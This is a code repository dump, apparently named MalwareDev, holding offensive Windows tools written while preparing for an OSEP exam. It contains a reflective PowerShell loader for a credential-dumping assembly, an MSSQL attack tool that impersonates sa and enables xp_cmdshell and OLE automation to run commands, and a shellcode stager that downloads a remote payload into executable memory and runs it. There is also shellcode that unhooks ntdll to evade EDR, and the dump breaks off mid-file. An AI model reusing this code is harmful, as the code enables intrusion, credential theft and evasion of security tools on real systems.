AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" 11 | $assem = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($base64data)) 12 | [SneakDump.SneakDump]::Main($Command.Split(" ")) 13 | 14 | 15 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DupDump 2 | Created this project because I wanted to port the technique in pypykatz to get prexisting handles to lsass.exe written about here https://skelsec.medium.com/duping-av-with-handles-537ef985eb03 3 | I got the code to get process handles from this Stack Overflow answer here https://stackoverflow.com/questions/54872228/c-sharp-how-to-find-all-handles-associated-with-current-process 4 | 5 | # SQL 6 | I created this project when I was doing the OSEP exam. It simply makes it easier to do MSSQL attacks on a compromised windows server. It uses kerberos auth to authenticate servers. 7 | 8 | # Manual Map Csharp 9 | This is a simple C# port of the code found in this ired.team article https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ 10 | -------------------------------------------------------------------------------- /SQL/sql.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Data.SqlClient; 3 | using System.Diagnostics; 4 | 5 | namespace sql 6 | { 7 | // Token: 0x02000002 RID: 2 8 | public static class Program 9 | { 10 | // Token: 0x06000001 RID: 1 RVA: 0x00002048 File Offset: 0x00000248 11 | public static void Main(string[] args) 12 | { 13 | if (args.Length < 1) 14 | { 15 | Console.WriteLine("[*] USAGE: " + Process.GetCurrentProcess().ProcessName + " "); 16 | Environment.Exit(0); 17 | } 18 | string text = args[0]; 19 | string text2 = text; 20 | string text3 = "master"; 21 | SqlConnection sqlConnection = new SqlConnection(string.Concat(new string[] 22 | { 23 | "Server = ", 24 | text2, 25 | "; Database = ", 26 | text3, 27 | "; Integrated Security = True;" 28 | })); 29 | if (args[1] == "help") 30 | { 31 | String helpMsg = "[*] "+Process.GetCurrentProcess().ProcessName + " enum\n[*] "+Process.GetCurrentProcess().ProcessName + " unc \n[*] "+Process.GetCurrentProcess().ProcessName + " xpcmd \n[*] "+Process.GetCurrentProcess().ProcessName + " spcreate \n[*] "+Process.GetCurrentProcess().ProcessName + " runsql \n"; 32 | Console.WriteLine(helpMsg); 33 | Environment.Exit(0); 34 | } 35 | try 36 | { 37 | sqlConnection.Open(); 38 | Console.WriteLine("[+] Auth on " + text + " was successful"); 39 | } 40 | catch 41 | { 42 | Console.WriteLine("[+] Auth on " + text + " was not successful"); 43 | } 44 | try 45 | { 46 | if (args[1] == "enum") 47 | { 48 | Program.EnumAuth(text, sqlConnection); 49 | } 50 | if (args[1] == "unc") 51 | { 52 | string smbServer = args[2]; 53 | string smbPath = args[3]; 54 | Program.UncInject(text, sqlConnection, smbServer, smbPath); 55 | } 56 | if (args[1] == "xpcmd") 57 | { 58 | string text4 = args[2]; 59 | Console.WriteLine("[*] Attempting to run " + text4); 60 | Program.XpCmdShell(text, sqlConnection, text4); 61 | } 62 | if (args[1] == "spcreate") 63 | { 64 | string text5 = args[2]; 65 | string commandType = args[3]; 66 | Console.WriteLine("[*] Attempting to run " + text5); 67 | Program.SpOaCreate(text, sqlConnection, text5, commandType); 68 | } 69 | if (args[1] == "runsql") 70 | { 71 | string sqlCmd = args[2]; 72 | Program.RunSql(text, sqlConnection, sqlCmd); 73 | } 74 | 75 | } 76 | catch 77 | { 78 | Console.WriteLine(""); 79 | } 80 | } 81 | 82 | // Token: 0x06000002 RID: 2 RVA: 0x000021F0 File Offset: 0x000003F0 83 | public static void EnumAuth(string server, SqlConnection con) 84 | { 85 | Console.WriteLine("[*] Checking for system user"); 86 | SqlDataReader sqlDataReader = new SqlCommand("SELECT SYSTEM_USER;", con).ExecuteReader(); 87 | sqlDataReader.Read(); 88 | string str = "[+] Logged in as: "; 89 | object obj = sqlDataReader[0]; 90 | Console.WriteLine(str + ((obj != null) ? obj.ToString() : null)); 91 | sqlDataReader.Close(); 92 | Console.WriteLine("[*] Checking for database user"); 93 | sqlDataReader = new SqlCommand("SELECT CURRENT_USER;", con).ExecuteReader(); 94 | sqlDataReader.Read(); 95 | string str2 = "[+] SQL user: "; 96 | object obj2 = sqlDataReader[0]; 97 | Console.WriteLine(str2 + ((obj2 != null) ? obj2.ToString() : null)); 98 | sqlDataReader.Close(); 99 | Console.WriteLine("[*] Checking user role"); 100 | sqlDataReader = new SqlCommand("SELECT IS_SRVROLEMEMBER('public');", con).ExecuteReader(); 101 | sqlDataReader.Read(); 102 | if (int.Parse(sqlDataReader[0].ToString()) == 1) 103 | { 104 | Console.WriteLine("[+] User is a member of public role"); 105 | } 106 | else 107 | { 108 | Console.WriteLine("[-] User is NOT a member of public role"); 109 | } 110 | sqlDataReader.Close(); 111 | sqlDataReader = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin');", con).ExecuteReader(); 112 | sqlDataReader.Read(); 113 | if (int.Parse(sqlDataReader[0].ToString()) == 1) 114 | { 115 | Console.WriteLine("[+] User is a member of sysadmin role"); 116 | } 117 | else 118 | { 119 | Console.WriteLine("[+] User is NOT a member of sysadmin role"); 120 | } 121 | sqlDataReader.Close(); 122 | Console.WriteLine("Checking if impersonation is possible"); 123 | sqlDataReader = new SqlCommand("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; ", con).ExecuteReader(); 124 | while (sqlDataReader.Read()) 125 | { 126 | string str3 = "[*] Logins that can be impersonated: "; 127 | object obj3 = sqlDataReader[0]; 128 | Console.WriteLine(str3 + ((obj3 != null) ? obj3.ToString() : null)); 129 | } 130 | } 131 | 132 | // Token: 0x06000003 RID: 3 RVA: 0x00002372 File Offset: 0x00000572 133 | public static void UncInject(string server, SqlConnection con, string SmbServer, string SmbPath) 134 | { 135 | new SqlCommand(string.Concat(new string[] 136 | { 137 | "EXEC master..xp_dirtree \"\\\\", 138 | SmbServer, 139 | "\\\\", 140 | SmbPath, 141 | "\";" 142 | }), con).ExecuteReader().Close(); 143 | } 144 | 145 | // Token: 0x06000004 RID: 4 RVA: 0x000023B0 File Offset: 0x000005B0 146 | public static void XpCmdShell(string server, SqlConnection con, string cmdCommand) 147 | { 148 | SqlCommand sqlCommand = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin');", con); 149 | SqlDataReader sqlDataReader = sqlCommand.ExecuteReader(); 150 | sqlDataReader.Read(); 151 | int num = int.Parse(sqlDataReader[0].ToString()); 152 | sqlDataReader.Close(); 153 | if (num != 1) 154 | { 155 | string cmdText = "EXECUTE AS LOGIN = 'sa';"; 156 | string cmdText2 = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; "; 157 | string text = "EXEC xp_cmdshell \"" + cmdCommand + "\";"; 158 | sqlCommand = new SqlCommand(cmdText, con); 159 | sqlDataReader = sqlCommand.ExecuteReader(); 160 | sqlDataReader.Close(); 161 | sqlCommand = new SqlCommand(cmdText2, con); 162 | sqlDataReader = sqlCommand.ExecuteReader(); 163 | sqlDataReader.Close(); 164 | sqlCommand = new SqlCommand(text, con); 165 | Console.WriteLine(text); 166 | sqlDataReader = sqlCommand.ExecuteReader(); 167 | sqlDataReader.Read(); 168 | string str = "> "; 169 | object obj = sqlDataReader[0]; 170 | Console.WriteLine(cmdCommand + str + ((obj != null) ? obj.ToString() : null)); 171 | sqlDataReader.Close(); 172 | return; 173 | } 174 | string cmdText3 = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; "; 175 | string text2 = "EXEC xp_cmdshell \"" + cmdCommand + "\";"; 176 | Console.WriteLine(text2); 177 | sqlCommand = new SqlCommand(cmdText3, con); 178 | sqlDataReader = sqlCommand.ExecuteReader(); 179 | sqlDataReader.Close(); 180 | sqlCommand = new SqlCommand(text2, con); 181 | sqlDataReader = sqlCommand.ExecuteReader(); 182 | sqlDataReader.Read(); 183 | string str2 = " Output: "; 184 | object obj2 = sqlDataReader[0]; 185 | Console.WriteLine(cmdCommand + str2 + ((obj2 != null) ? obj2.ToString() : null)); 186 | sqlDataReader.Close(); 187 | } 188 | 189 | // Token: 0x06000005 RID: 5 RVA: 0x000024F4 File Offset: 0x000006F4 190 | public static void SpOaCreate(string server, SqlConnection con, string cmdCommand, string CommandType) 191 | { 192 | string text = ""; 193 | if (CommandType == "p") 194 | { 195 | text = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'powershell \"" + cmdCommand + "\"';"; 196 | } 197 | if (CommandType == "c") 198 | { 199 | text = "DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c \"" + cmdCommand + "\"';"; 200 | } 201 | SqlDataReader sqlDataReader = new SqlCommand("SELECT IS_SRVROLEMEMBER('sysadmin');", con).ExecuteReader(); 202 | sqlDataReader.Read(); 203 | int num = int.Parse(sqlDataReader[0].ToString()); 204 | sqlDataReader.Close(); 205 | if (num != 1) 206 | { 207 | string cmdText = "EXECUTE AS LOGIN = 'sa';"; 208 | string cmdText2 = "EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; "; 209 | Console.WriteLine(text); 210 | sqlDataReader = new SqlCommand(cmdText, con).ExecuteReader(); 211 | sqlDataReader.Close(); 212 | sqlDataReader = new SqlCommand(cmdText2, con).ExecuteReader(); 213 | sqlDataReader.Close(); 214 | sqlDataReader = new SqlCommand(text, con).ExecuteReader(); 215 | return; 216 | } 217 | sqlDataReader = new SqlCommand("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; ", con).ExecuteReader(); 218 | sqlDataReader.Close(); 219 | sqlDataReader = new SqlCommand(text, con).ExecuteReader(); 220 | sqlDataReader.Close(); 221 | } 222 | 223 | // Token: 0x06000006 RID: 6 RVA: 0x000025E4 File Offset: 0x000007E4 224 | public static void RunSql(string server, SqlConnection con, string sqlCmd) 225 | { 226 | SqlDataReader sqlDataReader = new SqlCommand(sqlCmd, con).ExecuteReader(); 227 | while (sqlDataReader.Read()) 228 | { 229 | string str = "Output> "; 230 | object obj = sqlDataReader[0]; 231 | Console.WriteLine(str + ((obj != null) ? obj.ToString() : null)); 232 | } 233 | sqlDataReader.Close(); 234 | } 235 | 236 | // Token: 0x06000007 RID: 7 RVA: 0x00002630 File Offset: 0x00000830 237 | 238 | } 239 | } 240 | -------------------------------------------------------------------------------- /SQL/sql.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/SQL/sql.exe -------------------------------------------------------------------------------- /Stager/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile used in the original post here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ 2 | make: 3 | nasm -f win64 adjuststack.asm -o adjuststack.o 4 | x86_64-w64-mingw32-g++ stager.cpp -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o stager.o -Wl,-Tlinker.ld,--no-seh 5 | x86_64-w64-mingw32-ld -s adjuststack.o stager.o -o stager.exe 6 | -------------------------------------------------------------------------------- /Stager/README.md: -------------------------------------------------------------------------------- 1 | # Stager 2 | 3 | I wanted to play around with the technique of creating custom shellcode by writing PIC in C / C++ and extracting the opcodes from .text. I first read about the technique here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ and used the adjuststack.asm and make file that he included here. 4 | 5 | peb-lookup.h was gotten from the ired.team post about the same technique here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough 6 | -------------------------------------------------------------------------------- /Stager/adjuststack.asm: -------------------------------------------------------------------------------- 1 | extern stager 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rsi ; Preserve RSI since we're stomping on it 8 | mov rsi, rsp ; Save the value of RSP so it can be restored 9 | and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes 10 | sub rsp, 020h ; Allocate homing space for ExecutePayload 11 | call stager ; Call the entry point of the payload 12 | mov rsp, rsi ; Restore the original value of RSP 13 | pop rsi ; Restore RSI 14 | ret ; Return to caller 15 | -------------------------------------------------------------------------------- /Stager/adjuststack.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/Stager/adjuststack.o -------------------------------------------------------------------------------- /Stager/linker.ld: -------------------------------------------------------------------------------- 1 | /* Linker script gotten from original project found here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/*/ 2 | 3 | ENTRY(alignstack) 4 | SECTIONS 5 | { 6 | .text: 7 | { 8 | *(.text.alignstack) 9 | *(.text.stager) 10 | } 11 | } 12 | 13 | -------------------------------------------------------------------------------- /Stager/opcodes.sh: -------------------------------------------------------------------------------- 1 | for i in $(objdump -d stager.exe | grep "^ " | cut -f 2); do echo -n "0x"$i","; done > stager.bin 2 | -------------------------------------------------------------------------------- /Stager/peb-lookup.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #ifndef __NTDLL_H__ 6 | 7 | #ifndef TO_LOWERCASE 8 | #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) 9 | #endif 10 | 11 | // peb-lookup.h was pulled from the ired.team article about this technique located here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough 12 | 13 | typedef struct _UNICODE_STRING 14 | { 15 | USHORT Length; 16 | USHORT MaximumLength; 17 | PWSTR Buffer; 18 | 19 | } UNICODE_STRING, * PUNICODE_STRING; 20 | 21 | typedef struct _PEB_LDR_DATA 22 | { 23 | ULONG Length; 24 | BOOLEAN Initialized; 25 | HANDLE SsHandle; 26 | LIST_ENTRY InLoadOrderModuleList; 27 | LIST_ENTRY InMemoryOrderModuleList; 28 | LIST_ENTRY InInitializationOrderModuleList; 29 | PVOID EntryInProgress; 30 | 31 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 32 | 33 | //here we don't want to use any functions imported form extenal modules 34 | 35 | typedef struct _LDR_DATA_TABLE_ENTRY { 36 | LIST_ENTRY InLoadOrderModuleList; 37 | LIST_ENTRY InMemoryOrderModuleList; 38 | LIST_ENTRY InInitializationOrderModuleList; 39 | void* BaseAddress; 40 | void* EntryPoint; 41 | ULONG SizeOfImage; 42 | UNICODE_STRING FullDllName; 43 | UNICODE_STRING BaseDllName; 44 | ULONG Flags; 45 | SHORT LoadCount; 46 | SHORT TlsIndex; 47 | HANDLE SectionHandle; 48 | ULONG CheckSum; 49 | ULONG TimeDateStamp; 50 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 51 | 52 | 53 | typedef struct _PEB 54 | { 55 | BOOLEAN InheritedAddressSpace; 56 | BOOLEAN ReadImageFileExecOptions; 57 | BOOLEAN BeingDebugged; 58 | BOOLEAN SpareBool; 59 | HANDLE Mutant; 60 | 61 | PVOID ImageBaseAddress; 62 | PPEB_LDR_DATA Ldr; 63 | 64 | // [...] this is a fragment, more elements follow here 65 | 66 | } PEB, * PPEB; 67 | 68 | #endif //__NTDLL_H__ 69 | 70 | inline LPVOID get_module_by_name(WCHAR* module_name) 71 | { 72 | PPEB peb = NULL; 73 | #if defined(_WIN64) 74 | peb = (PPEB)__readgsqword(0x60); 75 | #else 76 | peb = (PPEB)__readfsdword(0x30); 77 | #endif 78 | PPEB_LDR_DATA ldr = peb->Ldr; 79 | LIST_ENTRY list = ldr->InLoadOrderModuleList; 80 | 81 | PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); 82 | PLDR_DATA_TABLE_ENTRY curr_module = Flink; 83 | 84 | while (curr_module != NULL && curr_module->BaseAddress != NULL) { 85 | if (curr_module->BaseDllName.Buffer == NULL) continue; 86 | WCHAR* curr_name = curr_module->BaseDllName.Buffer; 87 | 88 | size_t i = 0; 89 | for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) { 90 | WCHAR c1, c2; 91 | TO_LOWERCASE(c1, module_name[i]); 92 | TO_LOWERCASE(c2, curr_name[i]); 93 | if (c1 != c2) break; 94 | } 95 | if (module_name[i] == 0 && curr_name[i] == 0) { 96 | //found 97 | return curr_module->BaseAddress; 98 | } 99 | // not found, try next: 100 | curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; 101 | } 102 | return NULL; 103 | } 104 | 105 | inline LPVOID get_func_by_name(LPVOID module, char* func_name) 106 | { 107 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module; 108 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 109 | return NULL; 110 | } 111 | IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew); 112 | IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); 113 | if (exportsDir->VirtualAddress == NULL) { 114 | return NULL; 115 | } 116 | 117 | DWORD expAddr = exportsDir->VirtualAddress; 118 | IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module); 119 | SIZE_T namesCount = exp->NumberOfNames; 120 | 121 | DWORD funcsListRVA = exp->AddressOfFunctions; 122 | DWORD funcNamesListRVA = exp->AddressOfNames; 123 | DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; 124 | 125 | //go through names: 126 | for (SIZE_T i = 0; i < namesCount; i++) { 127 | DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD)); 128 | WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD)); 129 | DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD)); 130 | 131 | LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module); 132 | size_t k = 0; 133 | for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) { 134 | if (func_name[k] != curr_name[k]) break; 135 | } 136 | if (func_name[k] == 0 && curr_name[k] == 0) { 137 | //found 138 | return (BYTE*)module + (*funcRVA); 139 | } 140 | } 141 | return NULL; 142 | } 143 | -------------------------------------------------------------------------------- /Stager/stager.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "peb-lookup.h" 4 | 5 | typedef DWORD (__stdcall *LPTHREAD_START_ROUTINE) (LPVOID lpThreadParameter); 6 | typedef LPVOID HINTERNET; 7 | typedef WORD INTERNET_PORT; 8 | 9 | extern "C" 10 | 11 | int stager() 12 | { 13 | wchar_t kernel32_dll_str[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; 14 | char load_lib_str[] = { 'L','o','a','d','L','i','b','r','a','r','y','A', 0 }; 15 | char get_proc_str[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 }; 16 | char virtual_alloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 }; 17 | 18 | char wininet_dll_str[] = {'W','i','n','i','n','e','t','.','d','l','l',0}; 19 | char internet_open_str[] = {'I','n','t','e','r','n','e','t','O','p','e','n','A',0}; 20 | char internet_connect_str[] = {'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','A',0}; 21 | char http_open_request_str[] = {'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','A',0}; 22 | char http_send_request_str[] = {'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','A',0}; 23 | char internet_read_str[] = {'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0}; 24 | 25 | LPVOID pKernel32 = get_module_by_name((const LPWSTR)kernel32_dll_str); 26 | if (!pKernel32) { 27 | return 1; 28 | } 29 | 30 | // resolve loadlibraryA() address 31 | LPVOID pLoadLibrary = get_func_by_name((HMODULE)pKernel32, (LPSTR)load_lib_str); 32 | if (!pLoadLibrary) { 33 | return 2; 34 | } 35 | 36 | // resolve getprocaddress() address 37 | LPVOID pGetProcAddress = get_func_by_name((HMODULE)pKernel32, (LPSTR)get_proc_str); 38 | if (!pGetProcAddress) { 39 | return 3; 40 | } 41 | 42 | HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR)) pLoadLibrary; 43 | FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) pGetProcAddress; 44 | LPVOID(WINAPI * _VirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect) = (LPVOID(WINAPI*)(LPVOID,SIZE_T,DWORD,DWORD)) _GetProcAddress((HMODULE)pKernel32,virtual_alloc_str); 45 | 46 | LPVOID pWininet = _LoadLibraryA(wininet_dll_str); 47 | 48 | HINTERNET(WINAPI * _InternetOpenA)(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR lpszProxyBypass,DWORD dwFlags) = (HINTERNET(WINAPI*)(LPCSTR,DWORD,LPCSTR,LPCSTR,DWORD)) _GetProcAddress((HMODULE)pWininet,internet_open_str); 49 | HINTERNET(WINAPI * _InternetConnectA)(HINTERNET hInternet,LPCSTR lpszServerName,INTERNET_PORT nServerPort,LPCSTR lpszUserName,LPCSTR lpszPassword,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext) = (HINTERNET(WINAPI*)(HINTERNET,LPCSTR,INTERNET_PORT,LPCSTR,LPCSTR,DWORD,DWORD,DWORD_PTR)) _GetProcAddress((HMODULE)pWininet,internet_connect_str); 50 | HINTERNET(WINAPI * _HttpOpenRequestA)(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext) = (HINTERNET(WINAPI*)(HINTERNET,LPCSTR,LPCSTR,LPCSTR,LPCSTR,LPCSTR*,DWORD,DWORD_PTR)) _GetProcAddress((HMODULE)pWininet,http_open_request_str); 51 | BOOL(WINAPI * _HttpSendRequestA)(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength) = (BOOL(WINAPI*)(HINTERNET,LPCSTR,DWORD,LPVOID,DWORD)) _GetProcAddress((HMODULE)pWininet,http_send_request_str); 52 | BOOL(WINAPI* _InternetReadFile)(HINTERNET hFile,LPVOID lpBuffer,DWORD dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead) = (BOOL(WINAPI*)(HINTERNET,LPVOID,DWORD,LPDWORD)) _GetProcAddress((HMODULE)pWininet,internet_read_str); 53 | 54 | BOOL isRead = TRUE; 55 | DWORD bytes_received = 0; 56 | DWORD flag_reload = 0x80000000; 57 | DWORD flag_no_cache_write = 0x04000000; 58 | DWORD flag_keep_connection = 0x00400000; 59 | DWORD flag_no_auto_redirect = 0x00200000; 60 | DWORD flag_no_ui = 0x00000200; 61 | 62 | char ip[] = {'a',0}; 63 | char method[] = {'G','E','T',0}; 64 | char file[] = {'/','t','e','s','t','.','b','i','n',0}; 65 | HINTERNET hInt = _InternetOpenA(NULL,0,NULL,NULL,0); 66 | HINTERNET hConnect = _InternetConnectA(hInt, ip,8000,NULL,NULL,3,NULL,NULL); 67 | HINTERNET hRequest = _HttpOpenRequestA(hConnect,method,file,NULL,NULL,NULL,flag_reload | flag_no_cache_write | flag_keep_connection | flag_no_auto_redirect | flag_no_ui,NULL); 68 | 69 | BOOL req = _HttpSendRequestA(hRequest,NULL,0,NULL,0); 70 | LPVOID buffer = _VirtualAlloc(NULL, 60222, MEM_COMMIT, 0x40); 71 | LPVOID base = buffer; 72 | DWORD offset = 0; 73 | while (isRead == TRUE) 74 | { 75 | DWORD dwByteRead; 76 | isRead = _InternetReadFile(hRequest,buffer,60223 - 1,&dwByteRead); 77 | offset += dwByteRead; 78 | buffer = (LPVOID)((DWORD_PTR)buffer+offset); 79 | if (isRead == FALSE || dwByteRead == 0) 80 | { 81 | isRead = FALSE; 82 | break; 83 | } 84 | 85 | } 86 | void (*go)() = (void (*)()) base; go(); 87 | return 0; 88 | } 89 | 90 | 91 | 92 | -------------------------------------------------------------------------------- /UnhookShellcode/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile used in the original post here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ 2 | make: 3 | nasm -f win64 adjuststack.asm -o adjuststack.o 4 | x86_64-w64-mingw32-g++ dll-unook.cpp -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o dll-unook.o -Wl,-Tlinker.ld,--no-seh 5 | x86_64-w64-mingw32-ld -s adjuststack.o dll-unook.o -o dll-unook.exe 6 | -------------------------------------------------------------------------------- /UnhookShellcode/README.md: -------------------------------------------------------------------------------- 1 | # UnhookingShellcode 2 | 3 | I wanted to play around with the technique of creating custom shellcode by writing PIC in C / C++ and extracting the opcodes from .text. I first read about the technique here https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/ and used the adjuststack.asm and make file that he included here. 4 | 5 | peb-lookup.h was gotten from the ired.team post about the same technique here https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c#walkthrough 6 | 7 | PIC cpp code was made from the DLL unhooking code from ired.team here https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ 8 | 9 | Inject into a remote process to remap ntdll.dll 10 | -------------------------------------------------------------------------------- /UnhookShellcode/adjuststack.asm: -------------------------------------------------------------------------------- 1 | extern unhook 2 | global alignstack 3 | 4 | segment .text 5 | 6 | alignstack: 7 | push rsi ; Preserve RSI since we're stomping on it 8 | mov rsi, rsp ; Save the value of RSP so it can be restored 9 | and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes 10 | sub rsp, 020h ; Allocate homing space for ExecutePayload 11 | call unhook ; Call the entry point of the payload 12 | mov rsp, rsi ; Restore the original value of RSP 13 | pop rsi ; Restore RSI 14 | ret ; Return to caller 15 | -------------------------------------------------------------------------------- /UnhookShellcode/adjuststack.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EvaStanAccount/MalwareDev/593a5cd98c43478c51bf52ab569250bcbe35819f/UnhookShellcode/adjuststack.o -------------------------------------------------------------------------------- /UnhookShellcode/dll-unook.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "peb-lookup.h" 4 | 5 | extern "C" 6 | 7 | int unhook() 8 | { 9 | 10 | typedef struct _MODULEINFO { 11 | LPVOID lpBaseOfDll; 12 | DWORD SizeOfImage; 13 | LPVOID EntryPoint; 14 | } MODULEINFO, *LPMODULEINFO; 15 | 16 | typedef struct _SECURITY_ATTRIBUTES { 17 | DWORD nLength; 18 | LPVOID lpSecurityDescriptor; 19 | BOOL bInheritHandle; 20 | } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES; 21 | 22 | wchar_t kernel32_dll_str[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; 23 | char kernel_base_dll[] = {'k','e','r','n','e','l','b','a','s','e','.','d','l','l',0}; 24 | char load_lib_str[] = { 'L','o','a','d','L','i','b','r','a','r','y','A', 0 }; 25 | char get_proc_str[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 }; 26 | char get_current_proc[] = {'G','e','t','C','u','r','r','e','n','t','P','r','o','c','e','s','s',0}; 27 | char get_mod_handle[] = {'G','e','t','M','o','d','u','l','e','H','a','n','d','l','e','A',0}; 28 | char get_mod_information[] = {'G','e','t','M','o','d','u','l','e','I','n','f','o','r','m','a','t','i','o','n',0}; 29 | char create_file[] = {'C','r','e','a','t','e','F','i','l','e','A',0}; 30 | char create_mapping[] = {'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A',0}; 31 | char map_view[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e',0}; 32 | char virtual_protect[] = {'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0}; 33 | char close_handle[] = {'C','l','o','s','e','H','a','n','d','l','e',0}; 34 | char free_lib[] = {'F','r','e','e','L','i','b','r','a','r','y',0}; 35 | 36 | char msvcrt_dll[] = {'m','s','v','c','r','t','.','d','l','l',0}; 37 | char strcmp_str[] = {'s','t','r','c','m','p',0}; 38 | char memcpy_str[] = {'m','e','m','c','p','y',0}; 39 | char printf_str[] = {'p','r','i','n','t','f',0}; 40 | 41 | LPVOID pKernel32 = get_module_by_name((const LPWSTR)kernel32_dll_str); 42 | LPVOID pLoadLibrary = get_func_by_name((HMODULE)pKernel32, (LPSTR)load_lib_str); 43 | LPVOID pGetProcAddress = get_func_by_name((HMODULE)pKernel32, (LPSTR)get_proc_str); 44 | HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR)) pLoadLibrary; 45 | FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) pGetProcAddress; 46 | HANDLE(WINAPI * _GetCurrentProcess)() = (HANDLE(WINAPI*)()) 